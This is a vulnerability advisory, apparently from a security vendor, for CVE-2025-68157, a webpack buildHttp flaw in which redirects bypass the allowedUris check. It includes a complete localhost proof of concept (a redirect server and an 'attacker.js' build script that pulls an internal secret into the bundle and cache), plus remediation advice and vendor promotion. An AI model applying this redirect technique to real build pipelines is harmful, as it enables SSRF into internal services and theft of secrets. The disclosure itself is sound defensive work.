CVE-2025-68157

CVE-2025-68157 is a low-severity server-side request forgery (SSRF) vulnerability in webpack (npm), affecting versions >= 5.49.0, < 5.104.0. It is fixed in 5.104.0.

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Summary

webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence

When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.

Details

In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.

Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.

Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.

PoC

This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup

mkdir split-ssrf-poc && cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli

2) Create server.js

#!/usr/bin/env node
"use strict";

const http = require("http");
const url = require("url");

const allowedPort = 9000;
const internalPort = 9100;

const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
  `export const secret = ${JSON.stringify(secret)};\n` +
  `export default "ok";\n`;

function start(port, handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(port, "127.0.0.1", () => resolve(s));
  });
}

(async () => {
  // Internal-only service (SSRF target)
  await start(internalPort, (req, res) => {
    if (req.url === "/secret.js") {
      res.statusCode = 200;
      res.setHeader("Content-Type", "application/javascript; charset=utf-8");
      res.end(internalPayload);
      console.log(`[internal] 200 /secret.js served (secret=${secret})`);
      return;
    }
    res.statusCode = 404;
    res.end("not found");
  });

  // Allowed host (redirector)
  await start(allowedPort, (req, res) => {
    const parsed = url.parse(req.url, true);

    if (parsed.pathname === "/redirect.js") {
      const to = parsed.query.to || internalUrlDefault;

      // Safety guard: only allow redirecting to localhost internal service in this PoC
      if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {
        res.statusCode = 400;
        res.end("to must be internal-only in this PoC");
        console.log(`[allowed] blocked redirect to: ${to}`);
        return;
      }

      res.statusCode = 302;
      res.setHeader("Location", to);
      res.end("redirecting");
      console.log(`[allowed] 302 /redirect.js -> ${to}`);
      return;
    }

    res.statusCode = 404;
    res.end("not found");
  });

  console.log(`\nServer running:`);
  console.log(`- allowed host:  http://127.0.0.1:${allowedPort}/redirect.js`);
  console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);
})();

3) Create attacker.js

#!/usr/bin/env node
"use strict";

const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
const webpackPkg = require("webpack/package.json");

const allowedPort = 9000;
const internalPort = 9100;

const allowedBase = `http://127.0.0.1:${allowedPort}/`;
const internalTarget = `http://127.0.0.1:${internalPort}/secret.js`;
const entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;

async function walk(dir) {
  const out = [];
  const items = await fs.readdir(dir, { withFileTypes: true });
  for (const it of items) {
    const p = path.join(dir, it.name);
    if (it.isDirectory()) out.push(...await walk(p));
    else if (it.isFile()) out.push(p);
  }
  return out;
}

async function fileContains(f, needle) {
  try {
    const buf = await fs.readFile(f);
    return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle);
  } catch {
    return false;
  }
}

async function findInFiles(files, needle) {
  const hits = [];
  for (const f of files) if (await fileContains(f, needle)) hits.push(f);
  return hits;
}

const fmtBool = b => (b ? "✅" : "❌");

(async () => {
  const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-"));
  const srcDir = path.join(tmp, "src");
  const distDir = path.join(tmp, "dist");
  const cacheDir = path.join(tmp, ".buildHttp-cache");
  const lockfile = path.join(tmp, "webpack.lock");
  const bundlePath = path.join(distDir, "bundle.js");

  await fs.mkdir(srcDir, { recursive: true });
  await fs.mkdir(distDir, { recursive: true });

  await fs.writeFile(
    path.join(srcDir, "index.js"),
    `import { secret } from ${JSON.stringify(entryUrl)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
  );

  const config = {
    context: tmp,
    mode: "development",
    entry: "./src/index.js",
    output: { path: distDir, filename: "bundle.js" },
    experiments: {
      buildHttp: {
        allowedUris: [allowedBase],
        cacheLocation: cacheDir,
        lockfileLocation: lockfile,
        upgrade: true
      }
    }
  };

  const compiler = webpack(config);

  compiler.run(async (err, stats) => {
    try {
      if (err) throw err;

      const info = stats.toJson({ all: false, errors: true, warnings: true });
      if (stats.hasErrors()) {
        console.error(info.errors);
        process.exitCode = 1;
        return;
      }

      const bundle = await fs.readFile(bundlePath, "utf8");
      const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
      const secret = m ? m[0] : null;

      console.log("\n[ATTACKER RESULT]");
      console.log(`- webpack version: ${webpackPkg.version}`);
      console.log(`- node version: ${process.version}`);
      console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);
      console.log(`- imported URL (allowed only): ${entryUrl}`);
      console.log(`- temp dir: ${tmp}`);
      console.log(`- lockfile: ${lockfile}`);
      console.log(`- cacheDir: ${cacheDir}`);
      console.log(`- bundle:   ${bundlePath}`);

      if (!secret) {
        console.log("\n[SECURITY SUMMARY]");
        console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);
        return;
      }

      const lockHit = await fileContains(lockfile, secret);

      let cacheFiles = [];
      try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; }
      const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false;

      const allTmpFiles = await walk(tmp);
      const allHits = await findInFiles(allTmpFiles, secret);

      console.log(`\n- extracted secret marker from bundle: ${secret}`);

      console.log("\n[SECURITY SUMMARY]");
      console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);
      console.log(`- Internal target (SSRF-like): ${internalTarget}`);
      console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);
      console.log(`- ACTUAL: internal content treated as module and bundled`);

      console.log("\n[EVIDENCE CHECKLIST]");
      console.log(`- bundle contains secret:   ${fmtBool(true)}`);
      console.log(`- cache contains secret:    ${fmtBool(cacheHit)}`);
      console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);

      console.log("\n[PERSISTENCE CHECK] files containing secret");
      for (const f of allHits.slice(0, 30)) console.log(`- ${f}`);
      if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`);
    } catch (e) {
      console.error(e);
      process.exitCode = 1;
    } finally {
      compiler.close(() => {});
    }
  });
})();

4) Run

Terminal A:

node server.js

Terminal B:

node attacker.js

5) Expected

Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).

Impact

Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:

trigger network requests from the build machine to internal-only services (SSRF behavior),

cause content from outside the allow-list to be bundled into build outputs,

and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2025-68157 has a CVSS score of 3.7 (Low). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.104.0); upgrading removes the vulnerable code path.

Affected versions

webpack (>= 5.49.0, < 5.104.0)

Security releases

webpack → 5.104.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

Upgrade webpack to 5.104.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2025-68157? CVE-2025-68157 is a low-severity server-side request forgery (SSRF) vulnerability in webpack (npm), affecting versions >= 5.49.0, < 5.104.0. It is fixed in 5.104.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
  2. How severe is CVE-2025-68157? CVE-2025-68157 has a CVSS score of 3.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of webpack are affected by CVE-2025-68157? webpack (npm) versions >= 5.49.0, < 5.104.0 is affected.
  4. Is there a fix for CVE-2025-68157? Yes. CVE-2025-68157 is fixed in 5.104.0. Upgrade to this version or later.
  5. Is CVE-2025-68157 exploitable, and should I be worried? Whether CVE-2025-68157 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2025-68157 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2025-68157? Upgrade webpack to 5.104.0 or later.

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